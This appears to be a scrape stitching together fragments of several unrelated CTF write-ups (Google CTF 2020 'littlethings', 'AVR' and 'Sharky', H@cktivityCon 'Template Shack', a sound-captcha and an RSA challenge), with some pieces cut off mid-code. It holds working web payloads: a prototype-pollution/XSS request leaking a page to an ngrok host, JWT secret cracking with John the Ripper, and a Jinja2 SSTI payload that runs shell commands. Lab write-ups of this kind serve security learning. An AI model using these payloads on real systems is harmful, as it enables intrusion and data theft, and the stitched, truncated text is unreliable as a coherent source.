```httpGET /?{%22__proto__%22:%20{},%22theme%22:%20{%22cb%22:%20%22document.body.firstElementChild.innerHTML=window.name.toString%22},%22img%22:%20%22/%22,%22payload%22:%20[%22https://0b7660a35154.ngrok.io/?%22,%22%22,%22%22]}22f23db6-a432-408b-a3e9-40fe258d500fCongratulations!%20You%20came%20to%20the%20end%20of%20the%20world...As%20for%20a%20reward,%20here%20comes%20your%20juicy%20flag%20CTF{When_the_w0rld_c0mes_t0_an_end_all_that_matters_are_these_little_things}Bored?%20Check%20out%20the%20fixed%20version%20https://fixedthings-vwatzbndzbawnsfs.web.ctfcompetition.com%20BUT%20IT%27S%20NOT%20SCORED!%20I.E.%20worth%200%20points%20and%20does%20not%20appear%20in%20challengesbackHost: 0b7660a35154.ngrok.ioPragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/85.0.4182.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://littlethings.web.ctfcompetition.com/note/22f23db6-a432-408b-a3e9-40fe258d500f?__debug__Accept-Encoding: gzip, deflate, brX-Forwarded-Proto: httpsX-Forwarded-For: 104.155.55.51```
When we decode it and clean it up we get:
```Congratulations! You came to the end of the world...As for a reward, here comes your juicy flag CTF{When_the_w0rld_c0mes_t0_an_end_all_that_matters_are_these_little_things}
Bored? Check out the fixed version https://fixedthings-vwatzbndzbawnsfs.web.ctfcompetition.com BUT IT'S NOT SCORED! I.E. worth 0 points and does not appear in challenges``` |
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# CSICTF 2020
# Web* [Cascade](https://github.com/wonhee0410/CTF/blob/master/CSICTF_2020/Web.md#casade)* [Oreo](https://github.com/wonhee0410/CTF/blob/master/CSICTF_2020/Web.md#oreo)* [Warm Up](https://github.com/wonhee0410/CTF/blob/master/CSICTF_2020/Web.md#warm-up)* [Mr Rami](https://github.com/wonhee0410/CTF/blob/master/CSICTF_2020/Web.md#mr-rami)* [Secure Portal](https://github.com/wonhee0410/CTF/blob/master/CSICTF_2020/Web.md#secure-portal)
# Crypto* [Rivest Shamir Adleman](https://github.com/wonhee0410/CTF/blob/master/CSICTF_2020/Cryto.md#rivest-shamir-adleman)
# Forensics* [Gradient Sky](https://github.com/wonhee0410/CTF/blob/master/CSICTF_2020/Forensics.md#gradient-sky)* [Panda](https://github.com/wonhee0410/CTF/blob/master/CSICTF_2020/Forensics.md#panda)
# Linux* [AKA](https://github.com/wonhee0410/CTF/blob/master/CSICTF_2020/Linux.md#aka) |
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An in-depth look at Template Shack from the amazing H@cktivityCon. Thanks to every person behind this CTF, I loved playing it with [my team](https://discord.com/invite/CDACNFg)!
-----
# DescriptionWeb, 150 points> Check out the coolest web templates online!> Connect here:> http://jh2i.com:50023
# SolutionLet's start by opening the web application.
We are given a site selling website templates. As you can probably see, there is a login functionality, but no way of registering. That must be for admins only. By looking at the page's source, we can find an interesting *TODO* note.
That confirms that there is an admin section, let's try to access it. I first tried `/admin` which finally was the right path. The only problem is that we get a 401 unauthorized error code (which is obvious). By checking in the Developer Tools, we can find a JWT cookie named *token*. We can use [jwt.io](https://jwt.io/)'s awesome JWT debugger to get information from that token.
## JWT - Weak SecretIf somewhat we could change the *username* value in the payload from "guest" to "admin" we should supposedly get access to the unfinished admin section. I tried some common JWT attacks until I found the working one: cracking a weak secret. By cracking the secret, we can sign any token we want. This property comes from how JWT works. If you want to learn more about it, check [jwt.io](https://jwt.io/introduction/).
Let's use JohnTheRipper to crack the secret.
```bashecho "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.9SvIFMTsXt2gYNRF9I0ZhRhLQViY-MN7VaUutz9NA9Y" > for_john.hashjohn for_john.hash -w=/usr/share/wordlists/rockyou.txt```
In a short amount of time (a few milliseconds on my laptop), we get the secret "supersecret". We can now sign an admin token. This can be done easily using, again, [jwt.io](https://jwt.io/)'s JWT debugger.
Let's now input that in the *token*'s cookie value and we get the access to the admin section. At this point, I thought this was the end, but I couldn't find the flag anywhere. After having a brief conversation with [xCthulhu](https://onoma.cf/), one of my teammates who had solved this challenge, I was told to go further, and that there was another bug to exploit.
## Server-Side Template InjectionBy messing around with the admin panel, we can find that there is a custom 404 page (as seen when clicking on *Charts* or *Tables*). In Flask web applications using Jinja2's templating language, this can often lead to an SSTI, or Server-Side Template Injection. You can test for this by passing an expression between two sets of brackets (because that is how Jinja2 works). For instance, by trying to reach the page `{{ 2+2 }}`, the 404 page should display `/admin/4` (the expression would be evaluated).
Learn more about Flask Jinja2 SSTI [here](https://medium.com/@nyomanpradipta120/ssti-in-flask-jinja2-20b068fdaeee).
After a bit of tinkering, I came up with the following payload to achieve a command injection.
```http://jh2i.com:50023/admin/%7B%7B%20''.__class__.__mro__[1].__subclasses__()[405]('ls',%20shell=True,%20stdout=-1).communicate()%20%7D%7D```
The flag can be found in `admin/flag.txt`. Use the previous payload with `cat flag.txt` instead of `ls` to read that file.
This challenge, involving 2 types of bugs I hadn't encountered in CTFs that much yet, was really fun to solve. I loved H@cktivityCon, even though I had a bit of difficulty with some of the challenges that seemed less obvious to me. Anyway, thanks a lot to everybody behind it, it was a lot of fun! |
# Sound Captcha - 17 solves
## Story
>I made sound captcha system at the first time in my life!After finished deploy, I realize that I did some mistake.Time limit is soooooo tight that nobody can pass it!Do you agree with me?
## Soultion
In this challenge, We have to solve 10 sound captchas under 20 seconds.
After reading source code of challenge, we can find mp3 files that used in captcha. So if we have 2 in captcha, Then `2.mp3` will be added to the sound.
I wrote `solve.py` to solve this challenge. First we add all sounds in array. Then we iterate through array and find the first sound based on array sounds and then remove the first letter's sound. Then we continue until we find all 6 letter and then POST the captcha to challenge. Then send the captcha 10 times and we have the flag.
Thanks to [CTF Organizer](https://playground.sstf.site/).
### Flag
`SCTF{T4ke_car3_0f_s0und_c4p4ch4_1n_gnub04r6}` |
# AVR (hardware) - 320 points, 16 solves
Writeup by poortho
## Problem Description
We found this old terminal with access to some top secret data, but it's secured by passwords. Can you break in anyway?
`avr.2020.ctfcompetition.com 1337`
Attachments:
[code.c](./code.c)[code.hex](./code.hex)[simavr_diff](./simavr_diff)[simduino.elf](./simduino.elf)[Makefile](./Makefile)
## Solution
From the files given, it looks like the challenge is running some AVR program on an arduino simulator.
Let's start with the obvious - `code.c`:
```c#undef F_CPU#define F_CPU 1000000UL
#include <avr/io.h>#include <avr/sleep.h>#include <avr/interrupt.h>#include <util/delay.h>#include <avr/cpufunc.h>#include <stdio.h>#include <string.h>
#define BAUD 125000UL#include <util/setbaud.h>
#ifndef PASS1#define PASS1 "PASSWORD_REDACTED_XYZ"#endif
#ifndef PASS2#define PASS2 "TOPSECRET_PASSWORD_ALSO_REDACTED_TOPSECRET"#endif
#ifndef FLAG#define FLAG "CTF{_REAL_FLAG_IS_ON_THE_SERVER_}"#endif
const char* correctpass = PASS1;const char* top_secret_password = PASS2;const char* top_secret_data = "INTELLIGENCE REPORT:\n" "FLAG CAPTURED FROM ENEMY.\n" "FLAG IS " FLAG ".";
char buf[512];char secret[256] = "Operation SIERRA TANGO ROMEO:\n" "Radio frequency: 13.37MHz\n" "Received message: ATTACK AT DAWN\n";char timer_status[16] = "off";
volatile char logged_in;int top_secret_index;
volatile char uart_ready;ISR(USART_RX_vect) { uart_ready = 1;}
void uart_init(void) { UBRR0H = UBRRH_VALUE; UBRR0L = UBRRL_VALUE;
UCSR0C = (1<<UCSZ01) | (1<<UCSZ00); UCSR0B = (1<<RXEN0) | (1<<TXEN0) | (1<<RXCIE0);}
static int uart_getchar(FILE* stream) { while (1) { cli(); if (!uart_ready) { sleep_enable(); sei(); sleep_cpu(); sleep_disable(); } cli(); if (uart_ready) { uart_ready = 0; unsigned int c = UDR0; sei(); return c; } sei(); }}
static int uart_putchar(char c, FILE* stream) { loop_until_bit_is_set(UCSR0A, UDRE0); UDR0 = c; return 0;}static FILE uart = FDEV_SETUP_STREAM(uart_putchar, uart_getchar, _FDEV_SETUP_RW);
void quit() { printf("Quitting...\n"); _delay_ms(100); cli(); sleep_enable(); sleep_cpu(); while (1);}
volatile uint32_t overflow_count;uint32_t get_time() { uint32_t t; cli(); t = (overflow_count << 16) + TCNT1; sei(); return t;}
void timer_on_off(char enable) { overflow_count = 0; strcpy(timer_status, enable ? "on" : "off"); if (enable) { TCCR1B = (1<<CS10); sei(); } else { TCCR1B = 0; }}
ISR(TIMER1_OVF_vect) { if (!logged_in) { overflow_count++; // Allow ten seconds. if (overflow_count >= ((10*F_CPU)>>16)) { printf("Timed out logging in.\n"); quit(); } } else { // If logged in, timer is used to securely copy top secret data. secret[top_secret_index] = top_secret_data[top_secret_index]; timer_on_off(top_secret_data[top_secret_index]); top_secret_index++; }}
void read_data(char* buf) { scanf("%200s", buf);}
void print_timer_status() { printf("Timer: %s.\n", timer_status);}
int main() { uart_init(); stdout = &uart; stdin = &uart;
TCCR1A = 0; TIMSK1 = (1< |
```pythonfrom Crypto.Util.number import *
n = 0xab802dca026b18251449baece42ba2162bf1f8f5dda60da5f8baef3e5dd49d155c1701a21c2bd5dfee142fd3a240f429878c8d4402f5c4c7f4bc630c74a4d263db3674669a18c9a7f5018c2f32cb4732acf448c95de86fcd6f312287cebff378125f12458932722ca2f1a891f319ec672da65ea03d0e74e7b601a04435598e2994423362ec605ef5968456970cb367f6b6e55f9d713d82f89aca0b633e7643ddb0ec263dc29f0946cfc28ccbf8e65c2da1b67b18a3fbc8cee3305a25841dfa31990f9aab219c85a2149e51dff2ab7e0989a50d988ca9ccdce34892eb27686fa985f96061620e6902e42bdd00d2768b14a9eb39b3feee51e80273d3d4255f6b19e = 0x10001c = 0x6a12d56e26e460f456102c83c68b5cf355b2e57d5b176b32658d07619ce8e542d927bbea12fb8f90d7a1922fe68077af0f3794bfd26e7d560031c7c9238198685ad9ef1ac1966da39936b33c7bb00bdb13bec27b23f87028e99fdea0fbee4df721fd487d491e9d3087e986a79106f9d6f5431522270200c5d545d19df446dee6baa3051be6332ad7e4e6f44260b1594ec8a588c0450bcc8f23abb0121bcabf7551fd0ec11cd61c55ea89ae5d9bcc91f46b39d84f808562a42bb87a8854373b234e71fe6688021672c271c22aad0887304f7dd2b5f77136271a571591c48f438e6f1c08ed65d0088da562e0d8ae2dadd1234e72a40141429f5746d2d41452d916a = 0xe64a5f84e2762be5chunk_size = 64
#def gen_prime(bits):# s = random.getrandbits(chunk_size)def gen_prime(s): bits = 1024 while True: s |= 0xc000000000000001 p = 0 for _ in range(bits // chunk_size): p = (p << chunk_size) + s s = a * s % 2**chunk_size #if gmpy2.is_prime(p): # return p return p
m = 2**64n1 = n%mn2 = n//m%mr = (n2-2*n1*inverse(a, m))%ms12a = r*m+n1
print("s12a", s12a)
f = [11, 13, 109, 223, 1290533, 4608287, 167541865434116759]mf = 1for t in f: mf *= tassert mf==s12a
for b in range(2**(len(f)-1)): s1a = 1 s2a = 1 for i in range(len(f)): if b>>i&1: s1a *= f[i] else: s2a *= f[i] s1 = s1a*inverse(a, m)**15%m s2 = s2a*inverse(a, m)**15%m if ((s1&0xc000000000000001)==0xc000000000000001 and (s2&0xc000000000000001)==0xc000000000000001): p1 = gen_prime(s1) p2 = gen_prime(s2) if p1*p2==n: print("s1", hex(s1)) print("s2", hex(s2)) d = inverse(e, (p1-1)*(p2-1)) p = pow(c, d, n) print(long_to_bytes(p))```
the original writeup : https://qiita.com/kusano_k/items/b3203e7a046625453444#chunk-norris-easy |
TL;DR: - Recover internal state from small message deltas- Optimize the queries / the program
The writeup from the link is much (maybe overly) detailed. |
# Challenge
Can you find the round keys?```sharky.2020.ctfcompetition.com 1337```We are given 2 files, [sha256.py](sha256.py) and [challenge.py](challenge.py). [sha256.py](sha256.py) is a custom implementation of the sha256 hashing algorithm, specifically what's different is the fact that we're allowed to specify custom round keys, instead of the default ones.
By default these are the rounds keys that are used:```pythonself.k = [ 0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967, 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2 ]```This function is used to change the default round keys:```pythondef sha256_raw(self, m, round_keys = None): if len(m) % 64 != 0: raise ValueError('m must be a multiple of 64 bytes') state = self.h for i in range(0, len(m), 64): block = m[i:i + 64] w = self.compute_w(block) s = self.compression(state, w, round_keys) state = [(x + y) & 0xffffffff for x, y in zip(state, s)] return state```Other than custom round keys, the implementation is standard sha256.
Looking at [challenge.py](challenge.py), we see the code generates 8 random round keys, and sets them as the first 8 values of the `self.k` array. Then this modified sha256 is used with encrypting a message, and we have to correctly guess the 8 random rounds keys to get the flag.
```python#! /usr/bin/python3import binasciiimport osimport sha256
# Setup msg_secret and flagFLAG_PATH = 'data/flag.txt'NUM_KEYS = 8MSG = b'Encoded with random keys'
with open(FLAG_PATH, 'rb') as f: FLAG = f.read().strip().decode('utf-8')
def sha256_with_secret_round_keys(m: bytes, secret_round_keys: dict) -> bytes: """Computes SHA256 with some secret round keys.
Args: m: the message to hash secret_round_keys: a dictionary where secret_round_keys[i] is the value of the round key k[i] used in SHA-256
Returns: the digest """ sha = sha256.SHA256() round_keys = sha.k[:] for i, v in secret_round_keys.items(): round_keys[i] = v return sha.sha256(m, round_keys)
def generate_random_round_keys(cnt: int): res = {} for i in range(cnt): rk = 0 for b in os.urandom(4): rk = rk * 256 + b res[i] = rk return res
if __name__ == '__main__': secret_round_keys = generate_random_round_keys(NUM_KEYS) digest = sha256_with_secret_round_keys(MSG, secret_round_keys) print('MSG Digest: {}'.format(binascii.hexlify(digest).decode())) GIVEN_KEYS = list(map(lambda s: int(s, 16), input('Enter keys: ').split(','))) assert len(GIVEN_KEYS) == NUM_KEYS, 'Wrong number of keys provided.'
if all([GIVEN_KEYS[i] == secret_round_keys[i] for i in range(NUM_KEYS)]): print('\nGood job, here\'s a flag: {0}'.format(FLAG)) else: print('\nSorry, that\'s not right.')```
Couple of things to note:* The message that's encrypted is the same everytime `MSG = b'Encoded with random keys'`. This was verified with an admin.* There are 8 round keys we need to guess, each of them is a 32-bit (4-byte) random value.* Because the message is the same everytime, we can compute some of the values in the sha256 hashing algorithm (as they are constant) and reverse each round, getting us the flag.
## sha256 Hashing Algorithm
We will go into the hashing algorithm for sha256 and prove how encrypting the same message allows us to reverse the rounds.```pythondef sha256_raw(self, m, round_keys = None): if len(m) % 64 != 0: raise ValueError('m must be a multiple of 64 bytes') state = self.h for i in range(0, len(m), 64): block = m[i:i + 64] w = self.compute_w(block) s = self.compression(state, w, round_keys) state = [(x + y) & 0xffffffff for x, y in zip(state, s)] return state```
The first thing that happens is our input is checked for length and if it's not 64 bytes it's padded to achieve this length. Because our input is always `b'Encoded with random keys'`, it's obvious it's going to be padded. After padding our message looks like```b'Encoded with random keys\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0'```This also means that our message is always one block, so we only have to worry about the loop running once. The next thing that happens is that the `w` array is computed through the function `w = self.compute_w(block)`.```python def compute_w(self, m): w = list(struct.unpack('>16L', m)) for _ in range(16, 64): a, b = w[-15], w[-2] s0 = self.rotate_right(a, 7) ^ self.rotate_right(a, 18) ^ (a >> 3) s1 = self.rotate_right(b, 17) ^ self.rotate_right(b, 19) ^ (b >> 10) s = (w[-16] + w[-7] + s0 + s1) & 0xffffffff w.append(s) return w```Looking at the function, the only thing it's dependent on is `m`, or the 64-byte block of the message. Because our message is the same, the `w` array is also the same and we can compute this ourselves. You should get this `w` array when you compute it with the padded-message above:```w = [1164862319, 1684366368, 2003399784, 544366958, 1685024032, 1801812339, 2147483648, 0, 0, 0, 0, 0, 0, 0, 0, 192, 1522197188, 3891742175, 3836386829, 32341671, 928288908, 2364323079, 1515866404, 649785226, 1435989715, 250124094, 1469326411, 2429553944, 598071608, 1634056085, 4271828083, 4262132921, 2272436470, 39791740, 2337714294, 3555435891, 1519859327, 57013755, 2177157937, 1679613557, 2900649386, 612096658, 172526146, 2214036567, 3330460486, 1490972443, 1925782519, 4215628757, 2379791427, 2058888203, 1834962275, 3917548225, 2375084030, 1546202149, 3188006334, 4280719833, 726047027, 3650106516, 4058756591, 1443098026, 1972312730, 1218108430, 3428722156, 366022263]```Again, this stays constant since the message is constant. After the `w` array is computed, we run the compression function which is just a loop that runs the compression step function 64 times```python def compression_step(self, state, k_i, w_i): a, b, c, d, e, f, g, h = state s1 = self.rotate_right(e, 6) ^ self.rotate_right(e, 11) ^ self.rotate_right(e, 25) ch = (e & f) ^ (~e & g) tmp1 = (h + s1 + ch + k_i + w_i) & 0xffffffff s0 = self.rotate_right(a, 2) ^ self.rotate_right(a, 13) ^ self.rotate_right(a, 22) maj = (a & b) ^ (a & c) ^ (b & c) tmp2 = (tmp1 + s0 + maj) & 0xffffffff tmp3 = (d + tmp1) & 0xffffffff return (tmp2, a, b, c, tmp3, e, f, g)
def compression(self, state, w, round_keys = None): if round_keys is None: round_keys = self.k for i in range(64): state = self.compression_step(state, round_keys[i], w[i]) return state```Let's look closely at the `compression_step` function.* There is a state of 8 inputs.* The initial value of `state` is based off of the `self.h` array (which is constant and provided)* `tmp1`, `tmp2`, and `tmp3` are the values directly affected by `k_i`, which is the round key (and we don't know the first 8)
## Reversing compression_stepNow, assuming we have the output of the `compression_step` function, can we reverse it? This means we have```tmp2, a, b, c, tmp3, e, f, g```and we want to recover```a, b, c, d, e, f, g, h```So we can already compute 4 values in the `compression_step`, since they are directly computed from the values we have.```s0 = self.rotate_right(a, 2) ^ self.rotate_right(a, 13) ^ self.rotate_right(a, 22)ch = (e & f) ^ (~e & g)s1 = self.rotate_right(e, 6) ^ self.rotate_right(e, 11) ^ self.rotate_right(e, 25)maj = (a & b) ^ (a & c) ^ (b & c)```Even though the `& 0xffffffff` computation looks like it can't be reversed, it's actually just equivalent to `% 2**32`, or mod 4294967296.
Because all of the values in `state` and that are computed in `compression_step` are at most 32-bits (meaning they are smaller than 4294967296), we can reverse the `& 0xffffffff` computation by simply doing a negative mod. In python3 this is trivial because negative numbers with the mod operator result in a positive number (ie -3 mod 5 = 2).
Also, because we have `tmp2` and `tmp3`, we can recover `tmp1` and then `h` and `d`. Remember that `w_i` references one of the values from our `w` array we talked about earlier. Because this is constant, we can recover `h`.```tmp1 = (tmp2 - s0 - maj) % 2**32h = (tmp1 - s1 - ch - k_i - w_i) % 2**32d = (tmp3 - tmp1) % 2**32 ```So we were able to successfully recover all of the values, simply due to the fact that the message encrypted is always the same and then the `w` array is also the same. Function to reverse a compression step is below (we add this function to [sha256.py](sha256.py)):```python def compression_step_inv(self, state, k_i, w_i): tmp2, a, b, c, tmp3, e, f, g = state s0 = self.rotate_right(a, 2) ^ self.rotate_right(a, 13) ^ self.rotate_right(a, 22) ch = (e & f) ^ (~e & g) s1 = self.rotate_right(e, 6) ^ self.rotate_right(e, 11) ^ self.rotate_right(e, 25) maj = (a & b) ^ (a & c) ^ (b & c) tmp1 = (tmp2 - s0 - maj) % 2**32 h = (tmp1 - s1 - ch - k_i - w_i) % 2**32 d = (tmp3 - tmp1) % 2**32 #print("Compression step:", list(map(hex, (a, b, c, d, e, f, g, h)))) return (a, b, c, d, e, f, g, h)```So we can reverse a compression step, but there's a problem. We don't know the `k_i` values for the first 8 rounds (that's what we need to recover), so when we go backwards and hit the 8th round we're gonna get stuck. We turn to our trusty solver, z3!
We can essentially create 8 BitVectors that are 32-bits (to represent the unknown 8 round keys), and then feed them into our `compression_step_inv` function, creating 8 equations. We can build a model with these equations, since we know what the final output_state needs to look like, and then see if z3 can figure out our round keys. Remember that the final output state (going backwards) needs to be `self.h````self.h = [ 0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a, 0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19 ]```Beacuse this is the initial value of `state` used for the first time `compression_step` is executed. So we have a target value that our model needs to satisfy. Before we build the z3 model, we need to first figure out some other small things.
First, we need to figure out the last `state` value after `compression_step` is executed 64 times. If we go back to the sha256-algorithm, there's one more thing that happens before we're given our hash.
```python def sha256_raw(self, m, round_keys = None): if len(m) % 64 != 0: raise ValueError('m must be a multiple of 64 bytes') print(m) state = self.h for i in range(0, len(m), 64): block = m[i:i + 64] w = self.compute_w(block) s = self.compression(state, w, round_keys) state = [(x + y) & 0xffffffff for x, y in zip(state, s)] return state```The last output state is `s`, which we need to find out, and our hash is computed by adding each value in `s` to each value in `state`, which is `self.h`. So to recover `s`, we take our hash, unpack it in an array of 8 32-bit integers, and then do the same negative mod we did earlier. We can do it with the following code.```pythonfinal_state = [0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a, 0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19]hh = "39715f0da097fc779d86e4ec5221d19cec1d908d219e725b929ff540158da0c0"unpacked_digest = []for i in range(0, len(hh), 8): unpacked_digest.append(int(hh[i:i + 8], 16))s = [(x - y) % 2**32 for x, y in zip(unpacked_digest, final_state)]```Now that we have the correct `s` value, we can run our `compression_step_inv` function and build our z3 model.## Building the z3 model and recovering the round keys```pythonsha = sha256.SHA256()final_state = [0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a, 0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19]hh = "39715f0da097fc779d86e4ec5221d19cec1d908d219e725b929ff540158da0c0"unpacked_digest = []for i in range(0, len(hh), 8): unpacked_digest.append(int(hh[i:i + 8], 16))last_state = [(x - y) % 2**32 for x, y in zip(unpacked_digest, final_state)]for _ in range(-1, -57, -1): last_state = sha.compression_step_inv(last_state, round_k[_], w[_])
s = Solver() #now we use z3 to figure out the last 8k_s = [BitVec("k{}".format(i), 32) for i in range(8)]for _ in range(7, -1, -1): last_state = compression_step_inv_z3(last_state, k_s[_], w[_])for _ in range(8): s.add(final_state[_] == last_state[_])
s.check()m = s.model()recovered_round_keys = [m[ki].as_long() for ki in k_s]print(recovered_round_keys)```Now we get to put together what we described. We first figure out the last output of the `compress_step` function, then we run our `compression_step_inv` function 56 times. For the last 8 times, we use our 8 BitVectors to hold the unknown round keys. Then we run the `compression_step_inv_z3` function 8 times to build our model. The reason we have a slightly different inverse function is because some computations don't port well with z3, so we have to make sure we use basic operators like bit shifts, &, |, etc. After building our model, we ask z3 to find some values that satisfy it.
```pythondef rotate_right(v, n): w = (v >> n) | (v << (32 - n)) return w & 0xffffffff
def compression_step_inv_z3(state, k_i, w_i): tmp2, a, b, c, tmp3, e, f, g = state s0 = rotate_right(a, 2) ^ rotate_right(a, 13) ^ rotate_right(a, 22) ch = (e & f) ^ (~e & g) s1 = rotate_right(e, 6) ^ rotate_right(e, 11) ^ rotate_right(e, 25) maj = (a & b) ^ (a & c) ^ (b & c) tmp1 = (tmp2 - s0 - maj) % 2**32 h = (tmp1 - s1 - ch - k_i - w_i) % 2**32 d = (tmp3 - tmp1) % 2**32 #print("Compression step:", list(map(hex, (a, b, c, d, e, f, g, h)))) return (a, b, c, d, e, f, g, h)```Running the code, we successfully do get potential round_key values, but they don't seem to be correct. Manually testing, we find out that 1 of the values (usually the 2nd round key) is incorrect.
The reason for this is simply because our model wasn't constrained enough, so z3 found other potential solutions. We have 2 choices, either add more constraints (which i will discuss), or just kepe querying the server until z3 correctly guesses the round keys (which i ended up doing).
## Final Exploit Code```python#! /usr/bin/python3import binasciiimport osimport sha256import hashlibfrom z3 import *from pwn import *
# Setup msg_secret and flagNUM_KEYS = 8MSG = b'Encoded with random keys'
def sha256_with_secret_round_keys(m: bytes, secret_round_keys: dict) -> bytes: """Computes SHA256 with some secret round keys.
Args: m: the message to hash secret_round_keys: a dictionary where secret_round_keys[i] is the value of the round key k[i] used in SHA-256
Returns: the digest """ sha = sha256.SHA256() round_keys = sha.k[:] for i, v in secret_round_keys.items(): round_keys[i] = v return sha.sha256(m, round_keys)
def generate_random_round_keys(cnt: int): res = {} for i in range(cnt): rk = 0 for b in os.urandom(4): rk = rk * 256 + b res[i] = rk return res
round_k = [ 0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967, 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2 ]
w = [1164862319, 1684366368, 2003399784, 544366958, 1685024032, 1801812339, 2147483648, 0, 0, 0, 0, 0, 0, 0, 0, 192, 1522197188, 3891742175, 3836386829, 32341671, 928288908, 2364323079, 1515866404, 649785226, 1435989715, 250124094, 1469326411, 2429553944, 598071608, 1634056085, 4271828083, 4262132921, 2272436470, 39791740, 2337714294, 3555435891, 1519859327, 57013755, 2177157937, 1679613557, 2900649386, 612096658, 172526146, 2214036567, 3330460486, 1490972443, 1925782519, 4215628757, 2379791427, 2058888203, 1834962275, 3917548225, 2375084030, 1546202149, 3188006334, 4280719833, 726047027, 3650106516, 4058756591, 1443098026, 1972312730, 1218108430, 3428722156, 366022263]
def rotate_right(v, n): w = (v >> n) | (v << (32 - n)) return w & 0xffffffff
def compression_step_inv_z3(state, k_i, w_i): tmp2, a, b, c, tmp3, e, f, g = state s0 = rotate_right(a, 2) ^ rotate_right(a, 13) ^ rotate_right(a, 22) ch = (e & f) ^ (~e & g) s1 = rotate_right(e, 6) ^ rotate_right(e, 11) ^ rotate_right(e, 25) maj = (a & b) ^ (a & c) ^ (b & c) tmp1 = (tmp2 - s0 - maj) % 2**32 h = (tmp1 - s1 - ch - k_i - w_i) % 2**32 d = (tmp3 - tmp1) % 2**32 #print("Compression step:", list(map(hex, (a, b, c, d, e, f, g, h)))) return (a, b, c, d, e, f, g, h)
if __name__ == '__main__': while True: sha = sha256.SHA256() r = remote('sharky.2020.ctfcompetition.com', 1337) r.recvuntil("MSG Digest: ") final_state = [0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a, 0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19] hh = r.recvline().strip() unpacked_digest = [] for i in range(0, len(hh), 8): unpacked_digest.append(int(hh[i:i + 8], 16)) last_state = [(x - y) % 2**32 for x, y in zip(unpacked_digest, final_state)] for _ in range(-1, -57, -1): last_state = sha.compression_step_inv(last_state, round_k[_], w[_]) s = Solver() #now we use z3 to figure out the last 8 round_keys k_s = [BitVec("k{}".format(i), 32) for i in range(8)] for _ in range(7, -1, -1): last_state = compression_step_inv_z3(last_state, k_s[_], w[_]) for _ in range(8): s.add(final_state[_] == last_state[_]) s.check() m = s.model() state = [m[ki].as_long() for ki in k_s] r.recvuntil("Enter keys: ") r.sendline(', '.join(list(map(hex, state)))) r.recvline() resp = r.recvline() if b"Sorry" not in resp: print(resp) break r.close()``````python#! /usr/bin/python3import struct
class SHA256:
def __init__(self): self.h = [ 0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a, 0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19 ]
